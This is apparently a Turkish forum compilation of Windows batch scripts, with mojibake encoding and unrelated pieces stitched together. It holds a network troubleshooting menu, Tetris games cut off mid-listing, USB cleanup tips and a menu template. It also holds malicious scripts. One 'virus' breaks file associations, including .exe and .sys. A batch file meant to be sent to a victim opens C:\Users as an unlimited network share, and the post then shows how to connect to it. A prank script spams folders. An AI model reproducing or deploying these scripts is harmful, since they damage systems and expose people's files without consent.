ipconfig /renew
netsh interface ip delete arpcache
nbtstat -R
nbtstat -RR
ipconfig /flushdns
ipconfig /registerdns
echo.
echo De§iŸikliklerin etkili olabilmesi i‡in bilgisayar yeniden baŸlatmalsnz.
echo.
CHOICE /C EH /M "žimdi yeniden baŸlatmak ister misiniz"
IF ERRORLEVEL 2 goto choice
goto netboot

:3
cls
echo €alŸan ˜Ÿlemler ve Hizmetler Listesi
echo.
echo --------------------------------------------------------------------------------
echo Ltfen bir se‡enek belirleyin.
echo --------------------------------------------------------------------------------
echo.
echo [0] Ana Men
echo [1] ˜Ÿlemler
echo [2] Hizmetler
echo.
set /p op=€alŸtr:
if %op%==0 goto menu
if %op%==1 goto 3tasklst
if %op%==2 goto 3netserv
cls
goto 3

:3tasklst
echo.
echo --------------------------------------------------------------------------------
tasklist
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 3

:3netserv
echo.
echo.
echo --------------------------------------------------------------------------------
sc query type= service
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn



Kod:
@echo off

:: BatchGotAdmin
:-------------------------------------
REM  --> Check for permissions
    IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
:--------------------------------------

:menu
cls
For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set mydate=%%c%%a%%b)
For /f "tokens=1-2 delims=/:" %%a in ("%TIME%") do (set mytime=%%a:%%b)
title Komut ˜stemi Ara‡lar
echo --------------------------------------------------------------------------------
echo Komut ˜stemi Ara‡lar                                         %mydate% - %mytime%
echo --------------------------------------------------------------------------------
echo.
echo Bir ara‡ se‡in
echo ==============
echo.
echo  [0] €kŸ
echo  [1] Hakknda
echo  [2] A§ Sorun Gidericisi
echo  [3] €alŸan ˜Ÿlemler ve Hizmetler Listesi
echo  [4] Bitlocker Src Kilitleme
echo  [5] Windows Update Temizleme
echo  [6] Windows Update Hizmetini Durdur/BaŸlat
echo  [7] Gereksiz Nvidia Dosyalarn Temizle
echo  [8] IP Adresi ve A§ Yaplandrmas Bilgileri
echo  [9] Ykl Srcler Listesi
echo [10] Yant Vermeyen Bir Uygulamay Sonlandr
echo [11] Sistem Bilgisi
echo [12] Yazdrma Kuyru§unu Temizle
echo [13] Windows 10 i‡in Veri Toplama ve Telemetri Hizmetleri Ayarlar
echo.
set /p "op=€alŸtr:"
if %op%==-1 goto -1
if %op%==0 exit > nul 2>&1
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 goto 3
if %op%==4 goto 4
if %op%==5 goto 5
if %op%==6 goto 6
if %op%==7 goto 7
if %op%==8 goto 8
if %op%==9 goto 9
if %op%==10 goto 10
if %op%==11 goto 11
if %op%==12 goto 12
if %op%==13 goto 13
cls
goto menu

:-1
@title Tetris v 1
@mode con cols=28 lines=24

:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)

Set "Game=%0"

Call :Logo

:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg

:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
Goto :Main

:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic

:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::

:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.        You lose!
Goto :End

:Win
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.         You win!  
Goto :End

:End
Echo.    Thanks for playing.
Echo.  Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0

Kod :
------


WantedKankam 2019
---------------------------------














İLKER BABA WantedKankam 2019

Menülü .bat hazırlama Örnek Kod:
Kod:
@echo off
CLS
:MENU
ECHO.
ECHO Secim 1
ECHO Secim 2
ECHO Secim 3
ECHO Secim 4 Cikis
ECHO.
SET /P M=Lutfen bir secenek secin ve ENTER Tusunua basin:
IF %M%==1 GOTO Code1
IF %M%==2 GOTO Code2
IF %M%==3 GOTO Code3
IF %M%==4 GOTO EOF
:Code1
ECHO Secim 1 Code
GOTO MENU
:Code2
ECHO Secim 2 Code
GOTO MENU
:Code3
ECHO Secim 3 Code
GOTO MENU



___________________________________________








Dosya Uzantılarını Değiştirerek Verileri Bozan Virüs

Echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=txtfile
assoc .png=txtfile
assoc .mpeg=txtfile
echo bir virüs verileri ele geçiriyor! sisteme saldırıyor!
assoc .sys=htmlfile
echo adios!
exit


Kod:
 Bu kod bazı bilgisayarlarda işe yarar ama bunu ben denedim çok tehlikelidir dikkat edin




Ama bu kodları exe=html yerine tam tersi yaparsak eski haline dönüyor 


-----------------------------------

Not defteriden rat yapma ! Batch Script(Portsuz)
Öncelikle Not Defterini Açalım Ardından Sırayla Şu Kodları girelim:
Kod:
@echo off
net share isim=C:\Users /unlimited
Bunları Yazdıktan Sonra Farklı Kaydet Diyip Tüm Dosyalar ve ardından .batı sonuna ekleyelim
bu programı karşıdaki kişiye atacağız.
Şimdi yapmamız gereken şunlar cmdyi açın.
net use \\hedefinipadresi\isim
explorer \\hedefinipadresi\isim
ve artık bağlandı Programcı Arkadaşlarımızı Şöyle Alalım 
net share ::dosya paylaşmaya yarar
isim=C:\Users /unlimited ::isim diye bi paylaşım oluşturduk C:\Users Klasörünü Sınırsız Olarak paylaşıma açtı
Bunlar Bu kodlar Tamammen greenscreen tarafından yazılmıştır



net share c$ /d
net share d$ /d
net share e$ /d
net share IPC$ /d
net share Users /d
net share admin$ /d

İle paylaşımları kapatabiliriz 

Bu RAT değildir.
RAT = Backdoor
RAT'ta paket iletip alırsın, verilen komutlara göre Client iş yapar.
Bu başka bir şey.
--------------------------------------



Merhaba arkadaşlar;
yapması kolay ve zevkli bi şaka virusu göstereceğim

1- ilk önce metin belgesini açıyoruz

2- verdiğim kodu yazıyoruz
Kod:
 md 1
md 2
md 3
md 4
md 5
md 6
md 7
md ...
3- farklı kaydederek dosya biçimini .bat olarak kaydedin

buradaki md yeni klasör oluşturma komutudur.
yanlarındaki sayılar ise klasör adıdır sayıyı özelleştirebilirsiniz mesela isim şehir kelime vb.

virüsün amacı sadece klasör açmaktır
bunu açan kişi orda belirtilen rakam kadar klasör ile karşı karşıya kalacaktır mesela 100 tane o kod dan yazsa 100 tane klasör açılır

bunu yaparken lütfen dosya adının yani md den sonra gelen kelime veya rakamın aynı olmamasına özen gösterin



--------------------------------------

 Flash Bellek Virüs Temizleme
1-KOMUT İSTEM'ine giriş yapın
2-SÜRÜCÜNÜN HARFİ yazın örn;" F:"
3- attrib -r -s -h /s /d " komutunu girin
artık tüm dosya ve uygulamalar görüküyor. Yabancı ve zararlı olanları silin .System volume information silmek için şu kodu girin:
4- "rmdir" system volume information" /s /q" komutnu girin artık herşey tamamdır.




 Flash Bellek Virüs Temizleme

1-KOMUT İSTEM'ine giriş yapın
2-SÜRÜCÜNÜN HARFİ yazın örn;" F:"
3- attrib -r -s -h /s /d " komutunu girin
artık tüm dosya ve uygulamalar görüküyor. Yabancı ve zararlı olanları silin .System volume information silmek için şu kodu girin:
4- "rmdir" system volume information" /s /q" komutnu girin artık herşey tamamdır.



-------------------------------------------




Merhaba Arkadaşlar, Bilindiği üzere flash bellek lerimize virüs bulaşması ve bunun sonucunda flash belleğimizde bulunan dosya ve klasörlerimizin otomatik olarak gizlenmesi bizim için çok büyük problemler yaratmaktadır. Peki bu problemleri nasıl ortadan kaldıracağız.
Virüs olayına son vermemiz gibi bir durumun söz konusu bile olmadığını biliyorsunuz.Ama en azından flash belleğimize virüs girip dosya ve klasörlerimizin görünmez yani gizli olduğu durumlarda bunun çeşitli çözümlerinin olduğunu ve flash bellek imkanımızın olduğunu biliyoruz.Benim size anlatacağım yöntemde herhangi bir program kullanmaya gerek kalmadan bu problemi kolayca ortadan kaldıracağız (:

1. Adım; İlk önce masaüstünde bulunan Bilgisayarım simgesine çift tıklıyoruz ve açılan pencereden flash belleğimizin hangi sürücü ismiyle isimlendirildiğini buluyoruz.
Mesela flash belleğimizin adının yanında H: yazdığını varsayalım.Bu sizin bilgisayarınızda farklı bir harf olabilir.

2.Adım; Flash belleğimizin hangi harf ile adlandırıldığını bir önceki adımda bulduk.Daha sonra sırasıyla Başlat–>Tüm Programlar–>Donatımlar–>Komut İstemi seçeneklerine tıklıyoruz ve aşağıdaki gibi bir siyah bir pencere ekranda beliriyor.

Resim yeniden boyutlandırıldı, orjinalini görmek için tıklayın.


Daha sonra attrib –r –s –h /s /d *.* Kodlarını yazıp Enter tuşuna basıyoruz ve flash belleğimizin ışığının sönmesini bekliyoruz, Flash belleğimizi bilgisayardan hemen çıkarmıyoruz.Flash belleğimizin ışığı sönünce Çıkartıyoruz; Flash belleğimizde gizlilik özelliği kazandırılmış olan ve gizlilik özelliğinin kaldırılmasına izin verilmeyen tüm dosya ve klasörlerimiz görünür hale gelmiş oldu.

Resim yeniden boyutlandırıldı, orjinalini görmek için tıklayın.
-----------------------------



------------------------------------
Tetris

Klasik tetris oyunu, bana göre toplu olarak kodlanmış.Oyunu dene, S tuşlarını kullan (Aşağı hareket) A (Sola hareket et) D (Hareket et) R (Döndür) X (oyundan çık).
@Echo off
@title Tetris v1.3
@mode con cols=28 lines=24
Setlocal enabledelayedexpansion enableextensions

:: Batch Game - Tetris v1.3
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
:: Greets to Carlos ;) (for KBD and bug fixes)

Set "Game=%0"

Kbd.exe 1 2>Nul
If "%Errorlevel%"=="9009" (Echo. Kbd command not found&Pause&Exit /b)

Call :Logo

:Menu
Cls
Echo.
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
:MenuIn
Kbd.exe 2
If "%errorlevel%"=="49" (Goto :Load)
If "%errorlevel%"=="50" (Goto :Help)
If "%errorlevel%"=="51" (Goto :End)
Goto :MenuIn

:Load
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"
Set /a "NoPress=0,Pressed=0,Over=0"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
If !Over! Equ 1 Goto :Menu
Goto :Main

:Graphic
Call :Clear
Call :CheckL2
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
:Move
Kbd.exe 1
Set /a "K=!ErrorLevel!"
If !k! Equ 0 (
  Set /a "NoPress+=1"
  If !NoPress! Equ 3 (
    Set /a "NoPress=0"
    Call :Down
  )
) Else Set /a "Pressed+=1"
If !k! Equ 80 (Call :Down)
If !k! Equ 75 (Call :Left)
If !k! Equ 77 (Call :Rigth)
If !k! Equ 32 (Call :Rotate)
If !k! Equ 120 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 88 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 99 (Call :MovCR)
If !k! Equ 67 (Call :MovCR)
If !Pressed! Equ 3 (
  Set /a "Pressed=0"
  Call :Down
)
If !Over! Equ 1 Goto :Lost
Goto :Graphic

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="-7" (Set "XToken=-6")
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:CheckL2
Echo.%Lin_1%|Find "%Bound2%">nul
If !Errorlevel! EQU 0 (Goto :Lost)

Echo.!Lin_%LimY%!|Find " ">nul
If !Errorlevel! EQU 0 (Goto :Eof)

Call :Solid

For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Call :Clear
Goto :CheckL2
:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.        Perdiste !
Goto :End

:Win
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.      Has Ganado !
Goto :End

:End
Echo.     Thanks for Play
Echo. Tetris v1.2 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Goto :Menu

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y0,X7Y0,X8Y0,X6Y1
Set Figure6_Pos2=X7Y0,X8Y2,X8Y1,X8Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
